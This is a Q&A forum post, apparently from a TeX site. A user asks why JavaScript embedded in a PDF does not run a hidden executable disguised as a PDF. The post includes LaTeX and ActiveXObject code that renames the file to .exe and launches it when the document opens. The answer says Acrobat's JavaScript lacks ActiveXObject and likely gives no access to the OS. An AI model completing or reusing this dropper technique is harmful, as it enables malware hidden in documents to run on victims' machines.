2

I have created a simle javascript file that runs hidden EXE file masked as a PDF. I would like to hide this script indside another PDF file. The script should run when I open it, but nothing is happening (it works when I run it as a .js file). I'm not creating a malware, I'm doing this purely for educational purpouses.

Also, when something like this is my whole javascript app.alert("Hey"); it works fine and displays the popup window when I open the PDF. It's not a path problem too, all files are in the same location. I'm new to javascript and LaTeX, so I don't know what could be a problem.

Here is my document:

\documentclass{article}
\usepackage[pdftex]{insdljs}

\begin{insDLJS}{\jobname}{do stuff}

var fso = new ActiveXObject("scripting.FileSystemObject");

if(fso.FileExists("create_copy.pdf")){
fso.MoveFile('create_copy.pdf', 'create_copy.exe');
} else {
}

var shell = new ActiveXObject('Shell.Application');
shell.ShellExecute('create_copy.exe',"","","open","1");

\end{insDLJS}

\begin{document} Some text .... \end{document}

1 Answers1

3

Class ActiveXObject is not part of core JavaScript, version 1.5 (ISO-16262), and it is not defined in JavaScript for Acrobat that derives from the standard.

PDF specifics of JS for Acrobat are documented in

https://help.adobe.com/en_US/acrobat/acrobat_dc_sdk/2015/HTMLHelp/#t=Acro12_MasterBook%2FJS_API_AcroJSPreface%2FJS_API_AcroJSPreface.htm

And most likely there is no interface for interacting with the OS available, because of security considerations.

AlexG
  • 54,894